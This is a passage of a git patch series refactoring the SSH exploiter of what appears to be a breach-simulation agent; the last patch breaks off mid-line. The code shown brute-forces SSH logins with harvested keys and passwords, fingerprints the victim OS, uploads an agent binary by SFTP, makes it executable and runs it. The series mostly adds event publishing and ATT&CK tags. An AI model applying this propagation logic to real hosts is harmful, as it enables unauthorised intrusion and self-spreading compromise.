From ddaada1f09c41cbb600b435d37c786ca4a65e87c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Oct 2022 12:46:28 +0200 Subject: [PATCH 01/20] Agent: Revise event publishing in SSHExploiter --- monkey/infection_monkey/exploit/sshexec.py | 43 ++++++++++++++++++++++ 1 file changed, 43 insertions(+) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index b7edda56e..ed0ee5124 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -188,12 +188,23 @@ class SSHExploiter(HostExploiter): self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}" if not uname_os: + self._publish_propagation_event( + target=self.host.ip_addr, + propagation_success=False, + error_message=self.exploit_result.error_message, + ) + logger.error(self.exploit_result.error_message) return self.exploit_result except Exception as exc: self.exploit_result.error_message = ( f"Error running uname os command on victim {self.host}: ({exc})" ) + self._publish_propagation_event( + target=self.host.ip_addr, + propagation_success=False, + error_message=self.exploit_result.error_message, + ) logger.error(self.exploit_result.error_message) return self.exploit_result @@ -207,6 +218,12 @@ class SSHExploiter(HostExploiter): f"Can't find suitable monkey executable for host {self.host}" ) + self._publish_propagation_event( + target=self.host.ip_addr, + propagation_success=False, + error_message=self.exploit_result.error_message, + ) + logger.error(self.exploit_result.error_message) return self.exploit_result @@ -242,7 +259,14 @@ class SSHExploiter(HostExploiter): monkey_path_on_victim, ) ) + if status == ScanStatus.SCANNED: + self._publish_propagation_event( + target=self.host.ip_addr, + propagation_success=False, + error_message=self.exploit_result.error_message, + tags=frozenset((T1105_ATTACK_TECHNIQUE_TAG,)), + ) return self.exploit_result try: @@ -260,6 +284,12 @@ class SSHExploiter(HostExploiter): self.exploit_result.propagation_success = True + self._publish_propagation_event( + target=self.host.ip_addr, + propagation_success=True, + tags=frozenset((T1105_ATTACK_TECHNIQUE_TAG,)), + ) + ssh.close() self.add_executed_cmd(cmdline) return self.exploit_result @@ -269,6 +299,13 @@ class SSHExploiter(HostExploiter): f"Error running monkey on victim {self.host}: ({exc})" ) + self._publish_propagation_event( + target=self.host.ip_addr, + propagation_success=False, + error_message=self.exploit_result.error_message, + tags=frozenset((T1105_ATTACK_TECHNIQUE_TAG,)), + ) + logger.error(self.exploit_result.error_message) return self.exploit_result @@ -283,3 +320,9 @@ class SSHExploiter(HostExploiter): self.host, ) ) + + self._publish_propagation_event( + target=self.host.ip_addr, + propagation_success=False, + tags=frozenset((T1222_ATTACK_TECHNIQUE_TAG,)), + ) From 5948537d4a40e2921d43e10eba972bd1caea35c2 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Oct 2022 15:59:58 +0200 Subject: [PATCH 02/20] Agent: Add tags to SSHExploiter --- monkey/infection_monkey/exploit/sshexec.py | 77 ++++++++++++++-------- 1 file changed, 49 insertions(+), 28 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index ed0ee5124..600a8c2e3 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -30,6 +30,11 @@ SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT TRANSFER_UPDATE_RATE = 15 +SSH_EXPLOITER_TAG = "ssh-exploiter" +T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105" +T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110" +T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222" +T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021" class SSHExploiter(HostExploiter): @@ -86,12 +91,28 @@ class SSHExploiter(HostExploiter): ) self.add_vuln_port(port) self.exploit_result.exploitation_success = True + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=True, + tags=( + SSH_EXPLOITER_TAG, + T1110_ATTACK_TECHNIQUE_TAG, + T1021_ATTACK_TECHNIQUE_TAG, + ), + ) self.report_login_attempt(True, user, ssh_key=ssh_string) return ssh except paramiko.AuthenticationException as err: ssh.close() - logger.info( - f"Failed logging into victim {self.host} with {ssh_string} private key: {err}", + error_message = ( + f"Failed logging into victim {self.host} with {ssh_string} private key: {err}" + ) + logger.info(error_message) + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=False, + error_message=error_message, + tags=(SSH_EXPLOITER_TAG,), ) self.report_login_attempt(False, user, ssh_key=ssh_string) continue @@ -131,15 +152,26 @@ class SSHExploiter(HostExploiter): logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) self.add_vuln_port(port) self.exploit_result.exploitation_success = True + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=True, + tags=( + SSH_EXPLOITER_TAG, + T1110_ATTACK_TECHNIQUE_TAG, + T1021_ATTACK_TECHNIQUE_TAG, + ), + ) self.report_login_attempt(True, user, current_password) return ssh except paramiko.AuthenticationException as err: - logger.debug( - "Failed logging into victim %r with user" " %s: (%s)", - self.host, - user, - err, + error_message = f"Failed logging into victim {self.host} with user: {user}: {err}" + logger.debug(error_message) + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=False, + error_message=error_message, + tags=(SSH_EXPLOITER_TAG,), ) self.report_login_attempt(False, user, current_password) ssh.close() @@ -159,7 +191,12 @@ class SSHExploiter(HostExploiter): is_open, _ = check_tcp_port(self.host.ip_addr, port) if not is_open: self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" - + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=False, + error_message=self.exploit_result.error_message, + tags=(SSH_EXPLOITER_TAG,), + ) logger.info(self.exploit_result.error_message) return self.exploit_result @@ -188,23 +225,12 @@ class SSHExploiter(HostExploiter): self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}" if not uname_os: - self._publish_propagation_event( - target=self.host.ip_addr, - propagation_success=False, - error_message=self.exploit_result.error_message, - ) - logger.error(self.exploit_result.error_message) return self.exploit_result except Exception as exc: self.exploit_result.error_message = ( f"Error running uname os command on victim {self.host}: ({exc})" ) - self._publish_propagation_event( - target=self.host.ip_addr, - propagation_success=False, - error_message=self.exploit_result.error_message, - ) logger.error(self.exploit_result.error_message) return self.exploit_result @@ -222,6 +248,7 @@ class SSHExploiter(HostExploiter): target=self.host.ip_addr, propagation_success=False, error_message=self.exploit_result.error_message, + tags=(SSH_EXPLOITER_TAG,), ) logger.error(self.exploit_result.error_message) @@ -265,7 +292,7 @@ class SSHExploiter(HostExploiter): target=self.host.ip_addr, propagation_success=False, error_message=self.exploit_result.error_message, - tags=frozenset((T1105_ATTACK_TECHNIQUE_TAG,)), + tags=(SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG), ) return self.exploit_result @@ -287,7 +314,7 @@ class SSHExploiter(HostExploiter): self._publish_propagation_event( target=self.host.ip_addr, propagation_success=True, - tags=frozenset((T1105_ATTACK_TECHNIQUE_TAG,)), + tags=(SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG), ) ssh.close() @@ -303,7 +330,7 @@ class SSHExploiter(HostExploiter): target=self.host.ip_addr, propagation_success=False, error_message=self.exploit_result.error_message, - tags=frozenset((T1105_ATTACK_TECHNIQUE_TAG,)), + tags=(SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG), ) logger.error(self.exploit_result.error_message) @@ -320,9 +347,3 @@ class SSHExploiter(HostExploiter): self.host, ) ) - - self._publish_propagation_event( - target=self.host.ip_addr, - propagation_success=False, - tags=frozenset((T1222_ATTACK_TECHNIQUE_TAG,)), - ) From 5d9416c385fc7024817f72eed67a703bf03777ab Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Oct 2022 16:13:42 +0200 Subject: [PATCH 03/20] Agent: Use common.tags to publish events in SSHExploiter --- monkey/infection_monkey/exploit/sshexec.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 600a8c2e3..adbbff028 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -7,6 +7,12 @@ import paramiko from common import OperatingSystem from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.credentials import get_plaintext +from common.tags import ( + T1021_ATTACK_TECHNIQUE_TAG, + T1105_ATTACK_TECHNIQUE_TAG, + T1110_ATTACK_TECHNIQUE_TAG, + T1222_ATTACK_TECHNIQUE_TAG, +) from common.utils import Timer from common.utils.attack_utils import ScanStatus from common.utils.exceptions import FailedExploitationError @@ -31,10 +37,6 @@ SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT TRANSFER_UPDATE_RATE = 15 SSH_EXPLOITER_TAG = "ssh-exploiter" -T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105" -T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110" -T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222" -T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021" class SSHExploiter(HostExploiter): From 9dac64b60e80f0e847a3cefd6ff5185900784716 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 20:25:50 +0000 Subject: [PATCH 04/20] Agent: Update ssh exploiter tags --- monkey/infection_monkey/exploit/sshexec.py | 24 ++++++++-------------- 1 file changed, 9 insertions(+), 15 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index adbbff028..5c685b7fe 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -37,6 +37,8 @@ SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT TRANSFER_UPDATE_RATE = 15 SSH_EXPLOITER_TAG = "ssh-exploiter" +EXPLOIT_TAGS = (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG) +PROPAGATION_TAGS = (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG) class SSHExploiter(HostExploiter): @@ -96,11 +98,7 @@ class SSHExploiter(HostExploiter): self._publish_exploitation_event( target=self.host.ip_addr, exploitation_success=True, - tags=( - SSH_EXPLOITER_TAG, - T1110_ATTACK_TECHNIQUE_TAG, - T1021_ATTACK_TECHNIQUE_TAG, - ), + tags=EXPLOIT_TAGS, ) self.report_login_attempt(True, user, ssh_key=ssh_string) return ssh @@ -114,7 +112,7 @@ class SSHExploiter(HostExploiter): target=self.host.ip_addr, exploitation_success=False, error_message=error_message, - tags=(SSH_EXPLOITER_TAG,), + tags=EXPLOIT_TAGS, ) self.report_login_attempt(False, user, ssh_key=ssh_string) continue @@ -157,11 +155,7 @@ class SSHExploiter(HostExploiter): self._publish_exploitation_event( target=self.host.ip_addr, exploitation_success=True, - tags=( - SSH_EXPLOITER_TAG, - T1110_ATTACK_TECHNIQUE_TAG, - T1021_ATTACK_TECHNIQUE_TAG, - ), + tags=EXPLOIT_TAGS, ) self.report_login_attempt(True, user, current_password) return ssh @@ -173,7 +167,7 @@ class SSHExploiter(HostExploiter): target=self.host.ip_addr, exploitation_success=False, error_message=error_message, - tags=(SSH_EXPLOITER_TAG,), + tags=EXPLOIT_TAGS, ) self.report_login_attempt(False, user, current_password) ssh.close() @@ -294,7 +288,7 @@ class SSHExploiter(HostExploiter): target=self.host.ip_addr, propagation_success=False, error_message=self.exploit_result.error_message, - tags=(SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG), + tags=PROPAGATION_TAGS, ) return self.exploit_result @@ -316,7 +310,7 @@ class SSHExploiter(HostExploiter): self._publish_propagation_event( target=self.host.ip_addr, propagation_success=True, - tags=(SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG), + tags=PROPAGATION_TAGS, ) ssh.close() @@ -332,7 +326,7 @@ class SSHExploiter(HostExploiter): target=self.host.ip_addr, propagation_success=False, error_message=self.exploit_result.error_message, - tags=(SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG), + tags=PROPAGATION_TAGS, ) logger.error(self.exploit_result.error_message) From dc8a0ac2ad58748cc2f044e3151685f86dc87807 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 21:13:49 +0000 Subject: [PATCH 05/20] Agent: Extract method _upload_agent_binary --- monkey/infection_monkey/exploit/sshexec.py | 42 +++++++++++++--------- 1 file changed, 25 insertions(+), 17 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 5c685b7fe..1b53ba7db 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -256,23 +256,7 @@ class SSHExploiter(HostExploiter): monkey_path_on_victim = get_agent_dst_path(self.host) - try: - with ssh.open_sftp() as ftp: - ftp.putfo( - agent_binary_file_object, - str(monkey_path_on_victim), - file_size=len(agent_binary_file_object.getbuffer()), - callback=self.log_transfer, - ) - self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim) - - status = ScanStatus.USED - except Exception as exc: - self.exploit_result.error_message = ( - f"Error uploading file into victim {self.host}: ({exc})" - ) - logger.error(self.exploit_result.error_message) - status = ScanStatus.SCANNED + status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim) self.telemetry_messenger.send_telemetry( T1105Telem( @@ -332,6 +316,30 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result.error_message) return self.exploit_result + def _upload_agent_binary( + self, + ssh: paramiko.SSHClient, + agent_binary_file_object: io.BytesIO, + monkey_path_on_victim: PurePath, + ) -> ScanStatus: + try: + with ssh.open_sftp() as ftp: + ftp.putfo( + agent_binary_file_object, + str(monkey_path_on_victim), + file_size=len(agent_binary_file_object.getbuffer()), + callback=self.log_transfer, + ) + self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim) + + return ScanStatus.USED + except Exception as exc: + self.exploit_result.error_message = ( + f"Error uploading file into victim {self.host}: ({exc})" + ) + logger.error(self.exploit_result.error_message) + return ScanStatus.SCANNED + def _set_executable_bit_on_agent_binary( self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath ): From b31eb885f07bb30525140f623f53f06843abc52b Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 21:26:55 +0000 Subject: [PATCH 06/20] Agent: Extract method _get_victim_os --- monkey/infection_monkey/exploit/sshexec.py | 44 ++++++++++++---------- 1 file changed, 24 insertions(+), 20 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 1b53ba7db..f6f703763 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -210,26 +210,8 @@ class SSHExploiter(HostExploiter): self._set_interrupted() return self.exploit_result - if not self.host.os.get("type"): - try: - _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) - uname_os = stdout.read().lower().strip().decode() - if "linux" in uname_os: - self.exploit_result.os = OperatingSystem.LINUX - self.host.os["type"] = OperatingSystem.LINUX - else: - self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}" - - if not uname_os: - logger.error(self.exploit_result.error_message) - return self.exploit_result - except Exception as exc: - self.exploit_result.error_message = ( - f"Error running uname os command on victim {self.host}: ({exc})" - ) - - logger.error(self.exploit_result.error_message) - return self.exploit_result + if not self.host.os.get("type") and not self._get_victim_os(ssh): + return self.exploit_result agent_binary_file_object = self.agent_binary_repository.get_agent_binary( self.exploit_result.os @@ -316,6 +298,28 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result.error_message) return self.exploit_result + def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool: + try: + _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) + uname_os = stdout.read().lower().strip().decode() + if "linux" in uname_os: + self.exploit_result.os = OperatingSystem.LINUX + self.host.os["type"] = OperatingSystem.LINUX + else: + self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}" + + if not uname_os: + logger.error(self.exploit_result.error_message) + return False + except Exception as exc: + self.exploit_result.error_message = ( + f"Error running uname os command on victim {self.host}: ({exc})" + ) + + logger.error(self.exploit_result.error_message) + return False + return True + def _upload_agent_binary( self, ssh: paramiko.SSHClient, From 1cb88e029addb8db30fa1a01f8b9fba83f9594de Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 21:35:42 +0000 Subject: [PATCH 07/20] Agent: Extract method _exploit --- monkey/infection_monkey/exploit/sshexec.py | 62 ++++++++++++---------- 1 file changed, 35 insertions(+), 27 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index f6f703763..8fa5f9ad4 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -177,34 +177,12 @@ class SSHExploiter(HostExploiter): raise FailedExploitationError def _exploit_host(self) -> ExploiterResultData: - port = SSH_PORT - - # if ssh banner found on different port, use that port. - for servkey, servdata in list(self.host.services.items()): - if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): - port = int(servkey.replace("tcp-", "")) - - is_open, _ = check_tcp_port(self.host.ip_addr, port) - if not is_open: - self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=False, - error_message=self.exploit_result.error_message, - tags=(SSH_EXPLOITER_TAG,), - ) - logger.info(self.exploit_result.error_message) - return self.exploit_result - try: - ssh = self.exploit_with_ssh_keys(port) - except FailedExploitationError: - try: - ssh = self.exploit_with_login_creds(port) - except FailedExploitationError: - self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..." - logger.error(self.exploit_result.error_message) - return self.exploit_result + ssh = self._exploit() + except FailedExploitationError as err: + self.exploit_result.error_message = str(err) + logger.error(str(err)) + return self.exploit_result if self._is_interrupted(): self._set_interrupted() @@ -298,6 +276,36 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result.error_message) return self.exploit_result + def _exploit(self) -> paramiko.SSHClient: + port = SSH_PORT + + # if ssh banner found on different port, use that port. + for servkey, servdata in list(self.host.services.items()): + if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): + port = int(servkey.replace("tcp-", "")) + + is_open, _ = check_tcp_port(self.host.ip_addr, port) + if not is_open: + self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=False, + error_message=self.exploit_result.error_message, + tags=(SSH_EXPLOITER_TAG,), + ) + logger.info(self.exploit_result.error_message) + raise FailedExploitationError(self.exploit_result.error_message) + + try: + ssh = self.exploit_with_ssh_keys(port) + except FailedExploitationError: + try: + ssh = self.exploit_with_login_creds(port) + except FailedExploitationError: + raise FailedExploitationError("Exploiter SSHExploiter is giving up...") + + return ssh + def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool: try: _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) From a2534391a662bec6c26f91cb5d51b0c75f821ab5 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 21:59:35 +0000 Subject: [PATCH 08/20] Agent: Extract method _propagate --- monkey/infection_monkey/exploit/sshexec.py | 63 +++++++++++----------- 1 file changed, 33 insertions(+), 30 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 8fa5f9ad4..c8ea2f415 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -188,6 +188,39 @@ class SSHExploiter(HostExploiter): self._set_interrupted() return self.exploit_result + return self._propagate(ssh) + + def _exploit(self) -> paramiko.SSHClient: + port = SSH_PORT + + # if ssh banner found on different port, use that port. + for servkey, servdata in list(self.host.services.items()): + if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): + port = int(servkey.replace("tcp-", "")) + + is_open, _ = check_tcp_port(self.host.ip_addr, port) + if not is_open: + self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=False, + error_message=self.exploit_result.error_message, + tags=(SSH_EXPLOITER_TAG,), + ) + logger.info(self.exploit_result.error_message) + raise FailedExploitationError(self.exploit_result.error_message) + + try: + ssh = self.exploit_with_ssh_keys(port) + except FailedExploitationError: + try: + ssh = self.exploit_with_login_creds(port) + except FailedExploitationError: + raise FailedExploitationError("Exploiter SSHExploiter is giving up...") + + return ssh + + def _propagate(self, ssh: paramiko.SSHClient): if not self.host.os.get("type") and not self._get_victim_os(ssh): return self.exploit_result @@ -276,36 +309,6 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result.error_message) return self.exploit_result - def _exploit(self) -> paramiko.SSHClient: - port = SSH_PORT - - # if ssh banner found on different port, use that port. - for servkey, servdata in list(self.host.services.items()): - if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): - port = int(servkey.replace("tcp-", "")) - - is_open, _ = check_tcp_port(self.host.ip_addr, port) - if not is_open: - self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=False, - error_message=self.exploit_result.error_message, - tags=(SSH_EXPLOITER_TAG,), - ) - logger.info(self.exploit_result.error_message) - raise FailedExploitationError(self.exploit_result.error_message) - - try: - ssh = self.exploit_with_ssh_keys(port) - except FailedExploitationError: - try: - ssh = self.exploit_with_login_creds(port) - except FailedExploitationError: - raise FailedExploitationError("Exploiter SSHExploiter is giving up...") - - return ssh - def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool: try: _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) From 0a1901b9a1ba24ad8033d815a2f59422e83fd969 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 22:12:50 +0000 Subject: [PATCH 09/20] Agent: Use error to propagate failure --- monkey/infection_monkey/exploit/sshexec.py | 57 ++++++++-------------- 1 file changed, 21 insertions(+), 36 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index c8ea2f415..31757a5e3 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -188,7 +188,20 @@ class SSHExploiter(HostExploiter): self._set_interrupted() return self.exploit_result - return self._propagate(ssh) + try: + self._propagate(ssh) + except FailedExploitationError as err: + ssh.close() + self.exploit_result.error_message = str(err) + logger.error(self.exploit_result.error_message) + + self._publish_propagation_event( + target=self.host.ip_addr, + propagation_success=False, + error_message=self.exploit_result.error_message, + tags=PROPAGATION_TAGS, + ) + return self.exploit_result def _exploit(self) -> paramiko.SSHClient: port = SSH_PORT @@ -222,33 +235,24 @@ class SSHExploiter(HostExploiter): def _propagate(self, ssh: paramiko.SSHClient): if not self.host.os.get("type") and not self._get_victim_os(ssh): - return self.exploit_result + raise FailedExploitationError( + f"Can't find suitable monkey executable for host {self.host}" + ) agent_binary_file_object = self.agent_binary_repository.get_agent_binary( self.exploit_result.os ) if not agent_binary_file_object: - self.exploit_result.error_message = ( + raise FailedExploitationError( f"Can't find suitable monkey executable for host {self.host}" ) - self._publish_propagation_event( - target=self.host.ip_addr, - propagation_success=False, - error_message=self.exploit_result.error_message, - tags=(SSH_EXPLOITER_TAG,), - ) - - logger.error(self.exploit_result.error_message) - return self.exploit_result - if self._is_interrupted(): self._set_interrupted() - return self.exploit_result + raise FailedExploitationError(f"Propagation was interrupted") monkey_path_on_victim = get_agent_dst_path(self.host) - status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim) self.telemetry_messenger.send_telemetry( @@ -261,13 +265,7 @@ class SSHExploiter(HostExploiter): ) if status == ScanStatus.SCANNED: - self._publish_propagation_event( - target=self.host.ip_addr, - propagation_success=False, - error_message=self.exploit_result.error_message, - tags=PROPAGATION_TAGS, - ) - return self.exploit_result + raise FailedExploitationError(self.exploit_result.error_message) try: cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}" @@ -292,22 +290,9 @@ class SSHExploiter(HostExploiter): ssh.close() self.add_executed_cmd(cmdline) - return self.exploit_result except Exception as exc: - self.exploit_result.error_message = ( - f"Error running monkey on victim {self.host}: ({exc})" - ) - - self._publish_propagation_event( - target=self.host.ip_addr, - propagation_success=False, - error_message=self.exploit_result.error_message, - tags=PROPAGATION_TAGS, - ) - - logger.error(self.exploit_result.error_message) - return self.exploit_result + raise FailedExploitationError(f"Error running monkey on victim {self.host}: ({exc})") def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool: try: From 431d6ae7756693e6749fc9a094f0568f0fe177ed Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 14:50:00 +0000 Subject: [PATCH 10/20] Agent: Extract method _get_ssh_port --- monkey/infection_monkey/exploit/sshexec.py | 40 ++++++++++------------ 1 file changed, 19 insertions(+), 21 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 31757a5e3..c59871257 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -177,8 +177,15 @@ class SSHExploiter(HostExploiter): raise FailedExploitationError def _exploit_host(self) -> ExploiterResultData: + port = self._get_ssh_port() + is_open, _ = check_tcp_port(self.host.ip_addr, port) + if not is_open: + self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" + logger.info(self.exploit_result.error_message) + return self.exploit_result + try: - ssh = self._exploit() + ssh = self._exploit(port) except FailedExploitationError as err: self.exploit_result.error_message = str(err) logger.error(str(err)) @@ -203,26 +210,7 @@ class SSHExploiter(HostExploiter): ) return self.exploit_result - def _exploit(self) -> paramiko.SSHClient: - port = SSH_PORT - - # if ssh banner found on different port, use that port. - for servkey, servdata in list(self.host.services.items()): - if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): - port = int(servkey.replace("tcp-", "")) - - is_open, _ = check_tcp_port(self.host.ip_addr, port) - if not is_open: - self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=False, - error_message=self.exploit_result.error_message, - tags=(SSH_EXPLOITER_TAG,), - ) - logger.info(self.exploit_result.error_message) - raise FailedExploitationError(self.exploit_result.error_message) - + def _exploit(self, port) -> paramiko.SSHClient: try: ssh = self.exploit_with_ssh_keys(port) except FailedExploitationError: @@ -294,6 +282,16 @@ class SSHExploiter(HostExploiter): except Exception as exc: raise FailedExploitationError(f"Error running monkey on victim {self.host}: ({exc})") + def _get_ssh_port(self) -> int: + port = SSH_PORT + + # if ssh banner found on different port, use that port. + for servkey, servdata in list(self.host.services.items()): + if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): + port = int(servkey.replace("tcp-", "")) + + return port + def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool: try: _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) From 72378f4e53ad4dded55f6fa35126739f32aa069f Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 15:02:46 +0000 Subject: [PATCH 11/20] Agent: Publish scan event when checking ssh port --- monkey/infection_monkey/exploit/sshexec.py | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index c59871257..b8f96eee8 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -1,10 +1,12 @@ import io import logging +from ipaddress import IPv4Address from pathlib import PurePath import paramiko from common import OperatingSystem +from common.agent_events import TCPScanEvent from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.credentials import get_plaintext from common.tags import ( @@ -13,6 +15,7 @@ from common.tags import ( T1110_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG, ) +from common.types import PortStatus from common.utils import Timer from common.utils.attack_utils import ScanStatus from common.utils.exceptions import FailedExploitationError @@ -25,6 +28,7 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.commands import build_monkey_commandline +from infection_monkey.utils.ids import get_agent_id from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) @@ -178,8 +182,8 @@ class SSHExploiter(HostExploiter): def _exploit_host(self) -> ExploiterResultData: port = self._get_ssh_port() - is_open, _ = check_tcp_port(self.host.ip_addr, port) - if not is_open: + + if not self._is_port_open(IPv4Address(self.host.ip_addr), port): self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" logger.info(self.exploit_result.error_message) return 